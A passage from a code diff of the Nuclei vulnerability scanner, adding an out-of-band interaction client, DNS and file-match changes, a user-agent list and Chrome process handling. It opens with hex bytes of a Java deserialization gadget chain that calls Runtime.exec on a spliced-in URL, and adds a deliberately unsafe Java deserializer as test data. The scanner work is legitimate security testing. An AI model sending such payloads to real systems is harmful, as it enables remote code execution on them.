E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01000C7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002C01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002E002F0A002D00300100")
+	buffer.Write(middle)
+	buffer.WriteString(url)
+	suffix, _ := hex.DecodeString("08003201000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003400350A002D003601002179736F73657269616C2F4A6578426F7373323434393535333834303536333337380100234C79736F73657269616C2F4A6578426F7373323434393535333834303536333337383B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000001C000E0000000C000100000005000F003900000001001300140002000C0000003F0000000300000001B100000002000D0000000600010000001F000E00000020000300000001000F0039000000000001001500160001000000010017001800020019000000040001001A00010013001B0003000C000000490000000400000001B100000002000D00000006000100000022000E0000002A000400000001000F003900000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A0020000000060001002100000008002B000B0001000C0000001B000300020000000FA70003014CB800311233B6003757B1000000000002002200000002002300110000000A000100020025001000097571007E000D0000019BCAFEBABE00000031001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100124C7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A0100107574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501000C7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D00000006000100000026000E0000000C000100000005000F001200000002001300000002001400110000000A00010002001600100009707400076A6578626F73737077010078737D00000001001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C61746573787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200024C000564756D6D797400124C6A6176612F6C616E672F4F626A6563743B4C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B7870737200296A6176612E6265616E732E6265616E636F6E746578742E4265616E436F6E74657874537570706F7274BC4820F0918FB90C03000149000C73657269616C697A61626C657872002E6A6176612E6265616E732E6265616E636F6E746578742E4265616E436F6E746578744368696C64537570706F727457D4EFC704DC72250200014C00146265616E436F6E746578744368696C64506565727400294C6A6176612F6265616E732F6265616E636F6E746578742F4265616E436F6E746578744368696C643B787071007E0019000000017372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50300024C0004747970657400114C6A6176612F6C616E672F436C6173733B4C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B78707672001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C6174657300000000000000000000007870737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001740008663561356136303871007E0009787704000000007871007E001D78")
+	buffer.Write(suffix)
+
+	return buffer.Bytes()
+}

v2/pkg/protocols/common/helpers/deserialization/testdata/Deserialize.java

@@ -0,0 +1,30 @@
+import java.io.*;
+
+class Deserialize{  
+    public static void main(String args[]) {
+        FileInputStream fileIn = null;
+        ObjectInputStream in = null;
+        ValueObject vo2 = null;
+
+        try {
+            fileIn = new FileInputStream("ValueObject2.ser");
+        }
+        catch(FileNotFoundException e) {
+            e.printStackTrace();
+        }
+
+       try {
+            in = new ObjectInputStream(fileIn);
+        }
+        catch(IOException e) {
+            e.printStackTrace();
+        }
+        try {
+            vo2 = (ValueObject) in.readObject();
+        }
+        catch(Exception e) {
+            e.printStackTrace();
+        }
+        System.out.println(vo2);
+    }
+}

v2/pkg/protocols/common/helpers/deserialization/testdata/README.md

@@ -0,0 +1,11 @@
+# testdata
+
+### Test Unsafe Java Deserialization
+
+```
+javac Deserialize.java ValueObject.java
+# generate payload and write to ValueObject2.ser
+java Deserialize
+```
+
+Modified From: https://snyk.io/blog/serialization-and-deserialization-in-java/

v2/pkg/protocols/common/helpers/deserialization/testdata/ValueObject.java

@@ -0,0 +1,15 @@
+import java.io.*;
+
+public class ValueObject implements Serializable {
+   private String value;
+   private String sideEffect;
+
+   public ValueObject() {
+       this("empty");
+   }
+
+   public ValueObject(String value) {
+       this.value = value;
+       this.sideEffect = java.time.LocalTime.now().toString();
+   }
+}

v2/pkg/protocols/common/interactsh/interactsh.go

@@ -0,0 +1,254 @@
+package interactsh
+
+import (
+	"net/url"
+	"strings"
+	"sync/atomic"
+	"time"
+
+	"github.com/karlseguin/ccache"
+	"github.com/pkg/errors"
+	"github.com/projectdiscovery/gologger"
+	"github.com/projectdiscovery/interactsh/pkg/client"
+	"github.com/projectdiscovery/interactsh/pkg/server"
+	"github.com/projectdiscovery/nuclei/v2/pkg/operators"
+	"github.com/projectdiscovery/nuclei/v2/pkg/output"
+	"github.com/projectdiscovery/nuclei/v2/pkg/progress"
+	"github.com/projectdiscovery/nuclei/v2/pkg/reporting"
+)
+
+// Client is a wrapped client for interactsh server.
+type Client struct {
+	dotHostname string
+	// interactsh is a client for interactsh server.
+	interactsh *client.Client
+	// requests is a stored cache for interactsh-url->request-event data.
+	requests *ccache.Cache
+	// interactions is a stored cache for interactsh-interaction->interactsh-url data
+	interactions *ccache.Cache
+
+	options          *Options
+	eviction         time.Duration
+	pollDuration     time.Duration
+	cooldownDuration time.Duration
+
+	generated uint32 // decide to wait if we have a generated url
+	matched   bool
+}
+
+var (
+	defaultInteractionDuration = 60 * time.Second
+	interactshURLMarker        = "{{interactsh-url}}"
+)
+
+// Options contains configuration options for interactsh nuclei integration.
+type Options struct {
+	// ServerURL is the URL of the interactsh server.
+	ServerURL string
+	// CacheSize is the numbers of requests to keep track of at a time.
+	// Older items are discarded in LRU manner in favor of new requests.
+	CacheSize int64
+	// Eviction is the period of time after which to automatically discard
+	// interaction requests.
+	Eviction time.Duration
+	// CooldownPeriod is additional time to wait for interactions after closing
+	// of the poller.
+	ColldownPeriod time.Duration
+	// PollDuration is the time to wait before each poll to the server for interactions.
+	PollDuration time.Duration
+	// Output is the output writer for nuclei
+	Output output.Writer
+	// IssuesClient is a client for issue exporting
+	IssuesClient *reporting.Client
+	// Progress is the nuclei progress bar implementation.
+	Progress progress.Progress
+}
+
+const defaultMaxInteractionsCount = 5000
+
+// New returns a new interactsh server client
+func New(options *Options) (*Client, error) {
+	parsed, err := url.Parse(options.ServerURL)
+	if err != nil {
+		return nil, errors.Wrap(err, "could not parse server url")
+	}
+
+	interactsh, err := client.New(&client.Options{
+		ServerURL:         options.ServerURL,
+		PersistentSession: false,
+	})
+	if err != nil {
+		return nil, errors.Wrap(err, "could not create client")
+	}
+	configure := ccache.Configure()
+	configure = configure.MaxSize(options.CacheSize)
+	cache := ccache.New(configure)
+
+	interactionsCfg := ccache.Configure()
+	interactionsCfg = interactionsCfg.MaxSize(defaultMaxInteractionsCount)
+	interactionsCache := ccache.New(interactionsCfg)
+
+	interactClient := &Client{
+		interactsh:       interactsh,
+		eviction:         options.Eviction,
+		interactions:     interactionsCache,
+		dotHostname:      "." + parsed.Host,
+		options:          options,
+		requests:         cache,
+		pollDuration:     options.PollDuration,
+		cooldownDuration: options.ColldownPeriod,
+	}
+
+	interactClient.interactsh.StartPolling(interactClient.pollDuration, func(interaction *server.Interaction) {
+		item := interactClient.requests.Get(interaction.UniqueID)
+		if item == nil {
+			// If we don't have any request for this ID, add it to temporary
+			// lru cache so we can correlate when we get an add request.
+			gotItem := interactClient.interactions.Get(interaction.UniqueID)
+			if gotItem == nil {
+				interactClient.interactions.Set(interaction.UniqueID, []*server.Interaction{interaction}, defaultInteractionDuration)
+			} else if items, ok := gotItem.Value().([]*server.Interaction); ok {
+				items = append(items, interaction)
+				interactClient.interactions.Set(interaction.UniqueID, items, defaultInteractionDuration)
+			}
+			return
+		}
+		request, ok := item.Value().(*RequestData)
+		if !ok {
+			return
+		}
+		_ = interactClient.processInteractionForRequest(interaction, request)
+	})
+	return interactClient, nil
+}
+
+// processInteractionForRequest processes an interaction for a request
+func (c *Client) processInteractionForRequest(interaction *server.Interaction, data *RequestData) bool {
+	data.Event.InternalEvent["interactsh_protocol"] = interaction.Protocol
+	data.Event.InternalEvent["interactsh_request"] = interaction.RawRequest
+	data.Event.InternalEvent["interactsh_response"] = interaction.RawResponse
+	result, matched := data.Operators.Execute(data.Event.InternalEvent, data.MatchFunc, data.ExtractFunc)
+	if !matched || result == nil {
+		return false // if we don't match, return
+	}
+	c.requests.Delete(interaction.UniqueID)
+
+	if data.Event.OperatorsResult != nil {
+		data.Event.OperatorsResult.Merge(result)
+	} else {
+		data.Event.OperatorsResult = result
+	}
+	data.Event.Results = data.MakeResultFunc(data.Event)
+
+	for _, result := range data.Event.Results {
+		result.Interaction = interaction
+		_ = c.options.Output.Write(result)
+		if !c.matched {
+			c.matched = true
+		}
+		c.options.Progress.IncrementMatched()
+
+		if c.options.IssuesClient != nil {
+			if err := c.options.IssuesClient.CreateIssue(result); err != nil {
+				gologger.Warning().Msgf("Could not create issue on tracker: %s", err)
+			}
+		}
+	}
+	return true
+}
+
+// URL returns a new URL that can be interacted with
+func (c *Client) URL() string {
+	atomic.CompareAndSwapUint32(&c.generated, 0, 1)
+	return c.interactsh.URL()
+}
+
+// Close closes the interactsh clients after waiting for cooldown period.
+func (c *Client) Close() bool {
+	if c.cooldownDuration > 0 && atomic.LoadUint32(&c.generated) == 1 {
+		time.Sleep(c.cooldownDuration)
+	}
+	c.interactsh.StopPolling()
+	c.interactsh.Close()
+	return c.matched
+}
+
+// ReplaceMarkers replaces the {{interactsh-url}} placeholders to actual
+// URLs pointing to interactsh-server.
+//
+// It accepts data to replace as well as the URL to replace placeholders
+// with generated uniquely for each request.
+func (c *Client) ReplaceMarkers(data, interactshURL string) string {
+	if !strings.Contains(data, interactshURLMarker) {
+		return data
+	}
+	replaced := strings.NewReplacer("{{interactsh-url}}", interactshURL).Replace(data)
+	return replaced
+}
+
+// MakeResultEventFunc is a result making function for nuclei
+type MakeResultEventFunc func(wrapped *output.InternalWrappedEvent) []*output.ResultEvent
+
+// RequestData contains data for a request event
+type RequestData struct {
+	MakeResultFunc MakeResultEventFunc
+	Event          *output.InternalWrappedEvent
+	Operators      *operators.Operators
+	MatchFunc      operators.MatchFunc
+	ExtractFunc    operators.ExtractFunc
+}
+
+// RequestEvent is the event for a network request sent by nuclei.
+func (c *Client) RequestEvent(interactshURL string, data *RequestData) {
+	id := strings.TrimSuffix(interactshURL, c.dotHostname)
+
+	interaction := c.interactions.Get(id)
+	if interaction != nil {
+		// If we have previous interactions, get them and process them.
+		interactions, ok := interaction.Value().([]*server.Interaction)
+		if !ok {
+			c.requests.Set(id, data, c.eviction)
+			return
+		}
+		matched := false
+		for _, interaction := range interactions {
+			if c.processInteractionForRequest(interaction, data) {
+				matched = true
+				break
+			}
+		}
+		if matched {
+			c.interactions.Delete(id)
+		}
+	} else {
+		c.requests.Set(id, data, c.eviction)
+	}
+}
+
+// HasMatchers returns true if an operator has interactsh part
+// matchers or extractors.
+//
+// Used by requests to show result or not depending on presence of interact.sh
+// data part matchers.
+func HasMatchers(op *operators.Operators) bool {
+	if op == nil {
+		return false
+	}
+
+	for _, matcher := range op.Matchers {
+		for _, dsl := range matcher.DSL {
+			if strings.Contains(dsl, "interactsh") {
+				return true
+			}
+		}
+		if strings.HasPrefix(matcher.Part, "interactsh") {
+			return true
+		}
+	}
+	for _, matcher := range op.Extractors {
+		if strings.HasPrefix(matcher.Part, "interactsh") {
+			return true
+		}
+	}
+	return false
+}

v2/pkg/protocols/common/protocolinit/init.go

@@ -1,6 +1,8 @@
 package protocolinit
 
 import (
+	"github.com/corpix/uarand"
+	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/protocolstate"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/dns/dnsclientpool"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/http/httpclientpool"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/network/networkclientpool"
@@ -9,14 +11,55 @@ import (
 
 // Init initializes the client pools for the protocols
 func Init(options *types.Options) error {
+	uarand.Default = uarand.NewWithCustomList(userAgents)
+
+	if err := protocolstate.Init(options); err != nil {
+		return err
+	}
 	if err := dnsclientpool.Init(options); err != nil {
 		return err
 	}
 	if err := httpclientpool.Init(options); err != nil {
 		return err
 	}
-	if err := networkclientpool.Init(options); err != nil {
-		return err
-	}
-	return nil
+	return networkclientpool.Init(options)
+}
+
+var userAgents = []string{
+	"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36",
+	"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36",
+	"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36",
+	"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
+	"Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36",
+	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36",
+	"Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36",
+	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36",
+	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36",
+	"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36",
+	"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
+	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36",
+	"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
+	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
+	"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36",
+	"Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36",
+	"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36",
+	"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36",
+	"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36",
+	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36",
+	"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
+	"Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
+	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
+	"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
+	"Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36",
+	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36",
+	"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36",
+	"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36",
+	"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36",
+	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36",
+	"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36",
+	"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F",
+}
+
+func Close() {
+	protocolstate.Dialer.Close()
 }

v2/pkg/protocols/common/protocolstate/state.go

@@ -0,0 +1,34 @@
+package protocolstate
+
+import (
+	"github.com/pkg/errors"
+	"github.com/projectdiscovery/fastdialer/fastdialer"
+	"github.com/projectdiscovery/nuclei/v2/pkg/types"
+)
+
+// Dialer is a shared fastdialer instance for host DNS resolution
+var Dialer *fastdialer.Dialer
+
+// Init creates the Dialer instance based on user configuration
+func Init(options *types.Options) error {
+	opts := fastdialer.DefaultOptions
+	if options.SystemResolvers {
+		opts.EnableFallback = true
+	}
+	if options.ResolversFile != "" {
+		opts.BaseResolvers = options.InternalResolversList
+	}
+	dialer, err := fastdialer.NewDialer(opts)
+	if err != nil {
+		return errors.Wrap(err, "could not create dialer")
+	}
+	Dialer = dialer
+	return nil
+}
+
+// Close closes the global shared fastdialer
+func Close() {
+	if Dialer != nil {
+		Dialer.Close()
+	}
+}

v2/pkg/protocols/dns/dns.go

@@ -118,6 +118,8 @@ func questionTypeToInt(questionType string) uint16 {
 		question = dns.TypeMX
 	case "TXT":
 		question = dns.TypeTXT
+	case "DS":
+		question = dns.TypeDS
 	case "AAAA":
 		question = dns.TypeAAAA
 	}

v2/pkg/protocols/dns/operators.go

@@ -103,6 +103,7 @@ func (r *Request) responseToDSLMap(req, resp *dns.Msg, host, matched string) out
 	data["raw"] = rawData
 	data["template-id"] = r.options.TemplateID
 	data["template-info"] = r.options.TemplateInfo
+	data["template-path"] = r.options.TemplatePath
 	return data
 }
 
@@ -137,6 +138,7 @@ func (r *Request) MakeResultEvent(wrapped *output.InternalWrappedEvent) []*outpu
 func (r *Request) makeResultEventItem(wrapped *output.InternalWrappedEvent) *output.ResultEvent {
 	data := &output.ResultEvent{
 		TemplateID:       types.ToString(wrapped.InternalEvent["template-id"]),
+		TemplatePath:     types.ToString(wrapped.InternalEvent["template-path"]),
 		Info:             wrapped.InternalEvent["template-info"].(map[string]interface{}),
 		Type:             "dns",
 		Host:             types.ToString(wrapped.InternalEvent["host"]),

v2/pkg/protocols/dns/operators_test.go

@@ -42,7 +42,7 @@ func TestResponseToDSLMap(t *testing.T) {
 	resp.Answer = append(resp.Answer, &dns.A{A: net.ParseIP("1.1.1.1"), Hdr: dns.RR_Header{Name: "one.one.one.one."}})
 
 	event := request.responseToDSLMap(req, resp, "one.one.one.one", "one.one.one.one")
-	require.Len(t, event, 11, "could not get correct number of items in dsl map")
+	require.Len(t, event, 12, "could not get correct number of items in dsl map")
 	require.Equal(t, dns.RcodeSuccess, event["rcode"], "could not get correct rcode")
 }
 

v2/pkg/protocols/file/file.go

@@ -37,7 +37,7 @@ type Request struct {
 }
 
 // defaultDenylist is the default list of extensions to be denied
-var defaultDenylist = []string{".3g2", ".3gp", ".7z", ".apk", ".arj", ".avi", ".axd", ".bmp", ".css", ".csv", ".deb", ".dll", ".doc", ".drv", ".eot", ".exe", ".flv", ".gif", ".gifv", ".gz", ".h264", ".ico", ".iso", ".jar", ".jpeg", ".jpg", ".lock", ".m4a", ".m4v", ".map", ".mkv", ".mov", ".mp3", ".mp4", ".mpeg", ".mpg", ".msi", ".ogg", ".ogm", ".ogv", ".otf", ".pdf", ".pkg", ".png", ".ppt", ".psd", ".rar", ".rm", ".rpm", ".svg", ".swf", ".sys", ".tar.gz", ".tar", ".tif", ".tiff", ".ttf", ".txt", ".vob", ".wav", ".webm", ".wmv", ".woff", ".woff2", ".xcf", ".xls", ".xlsx", ".zip"}
+var defaultDenylist = []string{".3g2", ".3gp", ".7z", ".apk", ".arj", ".avi", ".axd", ".bmp", ".css", ".csv", ".deb", ".dll", ".doc", ".drv", ".eot", ".exe", ".flv", ".gif", ".gifv", ".gz", ".h264", ".ico", ".iso", ".jar", ".jpeg", ".jpg", ".lock", ".m4a", ".m4v", ".map", ".mkv", ".mov", ".mp3", ".mp4", ".mpeg", ".mpg", ".msi", ".ogg", ".ogm", ".ogv", ".otf", ".pdf", ".pkg", ".png", ".ppt", ".psd", ".rar", ".rm", ".rpm", ".svg", ".swf", ".sys", ".tar.gz", ".tar", ".tif", ".tiff", ".ttf", ".vob", ".wav", ".webm", ".wmv", ".woff", ".woff2", ".xcf", ".xls", ".xlsx", ".zip"}
 
 // GetID returns the unique ID of the request if any.
 func (r *Request) GetID() string {

v2/pkg/protocols/file/operators.go

@@ -1,6 +1,8 @@
 package file
 
 import (
+	"bufio"
+	"strings"
 	"time"
 
 	"github.com/projectdiscovery/nuclei/v2/pkg/operators/extractors"
@@ -71,6 +73,7 @@ func (r *Request) responseToDSLMap(raw, host, matched string) output.InternalEve
 	data["raw"] = raw
 	data["template-id"] = r.options.TemplateID
 	data["template-info"] = r.options.TemplateInfo
+	data["template-path"] = r.options.TemplatePath
 	return data
 }
 
@@ -99,16 +102,45 @@ func (r *Request) MakeResultEvent(wrapped *output.InternalWrappedEvent) []*outpu
 		data := r.makeResultEventItem(wrapped)
 		results = append(results, data)
 	}
+	raw, ok := wrapped.InternalEvent["raw"]
+	if !ok {
+		return results
+	}
+	rawStr, ok := raw.(string)
+	if !ok {
+		return results
+	}
+
+	// Identify the position of match in file using a dirty hack.
+	for _, result := range results {
+		for _, extraction := range result.ExtractedResults {
+			scanner := bufio.NewScanner(strings.NewReader(rawStr))
+
+			line := 1
+			for scanner.Scan() {
+				if strings.Contains(scanner.Text(), extraction) {
+					if result.FileToIndexPosition == nil {
+						result.FileToIndexPosition = make(map[string]int)
+					}
+					result.FileToIndexPosition[result.Matched] = line
+					continue
+				}
+				line++
+			}
+		}
+	}
 	return results
 }
 
 func (r *Request) makeResultEventItem(wrapped *output.InternalWrappedEvent) *output.ResultEvent {
 	data := &output.ResultEvent{
 		TemplateID:       types.ToString(wrapped.InternalEvent["template-id"]),
+		TemplatePath:     types.ToString(wrapped.InternalEvent["template-path"]),
 		Info:             wrapped.InternalEvent["template-info"].(map[string]interface{}),
 		Type:             "file",
 		Path:             types.ToString(wrapped.InternalEvent["path"]),
 		Matched:          types.ToString(wrapped.InternalEvent["matched"]),
+		Host:             types.ToString(wrapped.InternalEvent["matched"]),
 		ExtractedResults: wrapped.OperatorsResult.OutputExtracts,
 		Timestamp:        time.Now(),
 	}

v2/pkg/protocols/file/operators_test.go

@@ -32,7 +32,7 @@ func TestResponseToDSLMap(t *testing.T) {
 
 	resp := "test-data\r\n"
 	event := request.responseToDSLMap(resp, "one.one.one.one", "one.one.one.one")
-	require.Len(t, event, 5, "could not get correct number of items in dsl map")
+	require.Len(t, event, 6, "could not get correct number of items in dsl map")
 	require.Equal(t, resp, event["raw"], "could not get correct resp")
 }
 
@@ -57,7 +57,7 @@ func TestFileOperatorMatch(t *testing.T) {
 
 	resp := "test-data\r\n1.1.1.1\r\n"
 	event := request.responseToDSLMap(resp, "one.one.one.one", "one.one.one.one")
-	require.Len(t, event, 5, "could not get correct number of items in dsl map")
+	require.Len(t, event, 6, "could not get correct number of items in dsl map")
 	require.Equal(t, resp, event["raw"], "could not get correct resp")
 
 	t.Run("valid", func(t *testing.T) {
@@ -122,7 +122,7 @@ func TestFileOperatorExtract(t *testing.T) {
 
 	resp := "test-data\r\n1.1.1.1\r\n"
 	event := request.responseToDSLMap(resp, "one.one.one.one", "one.one.one.one")
-	require.Len(t, event, 5, "could not get correct number of items in dsl map")
+	require.Len(t, event, 6, "could not get correct number of items in dsl map")
 	require.Equal(t, resp, event["raw"], "could not get correct resp")
 
 	t.Run("extract", func(t *testing.T) {
@@ -187,7 +187,7 @@ func TestFileMakeResult(t *testing.T) {
 
 	resp := "test-data\r\n1.1.1.1\r\n"
 	event := request.responseToDSLMap(resp, "one.one.one.one", "one.one.one.one")
-	require.Len(t, event, 5, "could not get correct number of items in dsl map")
+	require.Len(t, event, 6, "could not get correct number of items in dsl map")
 	require.Equal(t, resp, event["raw"], "could not get correct resp")
 
 	finalEvent := &output.InternalWrappedEvent{InternalEvent: event}

v2/pkg/protocols/headless/engine/engine.go

@@ -10,16 +10,17 @@ import (
 	"github.com/corpix/uarand"
 	"github.com/go-rod/rod"
 	"github.com/go-rod/rod/lib/launcher"
-	ps "github.com/mitchellh/go-ps"
 	"github.com/pkg/errors"
 	"github.com/projectdiscovery/nuclei/v2/pkg/types"
+	"github.com/projectdiscovery/stringsutil"
+	ps "github.com/shirou/gopsutil/v3/process"
 )
 
 // Browser is a browser structure for nuclei headless module
 type Browser struct {
 	customAgent  string
 	tempDir      string
-	previouspids map[int]struct{} // track already running pids
+	previouspids map[int32]struct{} // track already running pids
 	engine       *rod.Browser
 	httpclient   *http.Client
 	options      *types.Options
@@ -31,6 +32,7 @@ func New(options *types.Options) (*Browser, error) {
 	if err != nil {
 		return nil, errors.Wrap(err, "could not create temporary directory")
 	}
+	previouspids := findChromeProcesses()
 	chromeLauncher := launcher.New().
 		Leakless(false).
 		Set("disable-gpu", "true").
@@ -73,13 +75,10 @@ func New(options *types.Options) (*Browser, error) {
 			customAgent = parts[1]
 		}
 	}
-	if options.RandomAgent {
+	if customAgent == "" {
 		customAgent = uarand.GetRandom()
 	}
-	httpclient, err := newhttpClient(options)
-	if err != nil {
-		return nil, err
-	}
+	httpclient := newhttpClient(options)
 	engine := &Browser{
 		tempDir:     dataStore,
 		customAgent: customAgent,
@@ -87,7 +86,7 @@ func New(options *types.Options) (*Browser, error) {
 		httpclient:  httpclient,
 		options:     options,
 	}
-	engine.previouspids = engine.findChromeProcesses()
+	engine.previouspids = previouspids
 	return engine, nil
 }
 
@@ -101,24 +100,39 @@ func (b *Browser) Close() {
 // killChromeProcesses any and all new chrome processes started after
 // headless process launch.
 func (b *Browser) killChromeProcesses() {
-	newProcesses := b.findChromeProcesses()
-	for id := range newProcesses {
-		if _, ok := b.previouspids[id]; ok {
+	processes, _ := ps.Processes()
+
+	for _, process := range processes {
+		// skip non chrome processes
+		if !isChromeProcess(process) {
 			continue
 		}
-		kill(id)
+		// skip chrome processes that were already running
+		if _, ok := b.previouspids[process.Pid]; ok {
+			continue
+		}
+		_ = process.Kill()
 	}
 }
 
 // findChromeProcesses finds chrome process running on host
-func (b *Browser) findChromeProcesses() map[int]struct{} {
+func findChromeProcesses() map[int32]struct{} {
 	processes, _ := ps.Processes()
-	list := make(map[int]struct{})
+	list := make(map[int32]struct{})
 	for _, process := range processes {
-		if strings.Contains(process.Executable(), "chrome") || strings.Contains(process.Executable(), "chromium") {
-			list[process.PPid()] = struct{}{}
-			list[process.Pid()] = struct{}{}
+		if isChromeProcess(process) {
+			list[process.Pid] = struct{}{}
+			if ppid, err := process.Ppid(); err == nil {
+				list[ppid] = struct{}{}
+			}
 		}
 	}
 	return list
 }
+
+// isChromeProcess checks if a process is chrome/chromium
+func isChromeProcess(process *ps.Process) bool {
+	name, _ := process.Name()
+	executable, _ := process.Exe()
+	return stringsutil.ContainsAny(name, "chrome", "chromium") || stringsutil.ContainsAny(executable, "chrome", "chromium")
+}

v2/pkg/protocols/headless/engine/engine_unix.go

@@ -1,11 +0,0 @@
-// +build !windows
-
-package engine
-
-import (
-	"syscall"
-)
-
-func kill(pid int) {
-	_ = syscall.Kill(-pid, syscall.SIGKILL)
-}

v2/pkg/protocols/headless/engine/engine_windows.go

@@ -1,12 +0,0 @@
-// +build windows
-
-package engine
-
-import (
-	"os/exec"
-	"strconv"
-)
-
-func kill(pid int) {
-	_ = exec.Command("taskkill", "/t", "/f", "/pid", strconv.Itoa(pid)).Run()
-}

v2/pkg/protocols/headless/engine/http_client.go

@@ -5,25 +5,13 @@ import (
 	"net/http"
 	"time"
 
-	"github.com/pkg/errors"
-	"github.com/projectdiscovery/fastdialer/fastdialer"
+	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/protocolstate"
 	"github.com/projectdiscovery/nuclei/v2/pkg/types"
 )
 
 // newhttpClient creates a new http client for headless communication with a timeout
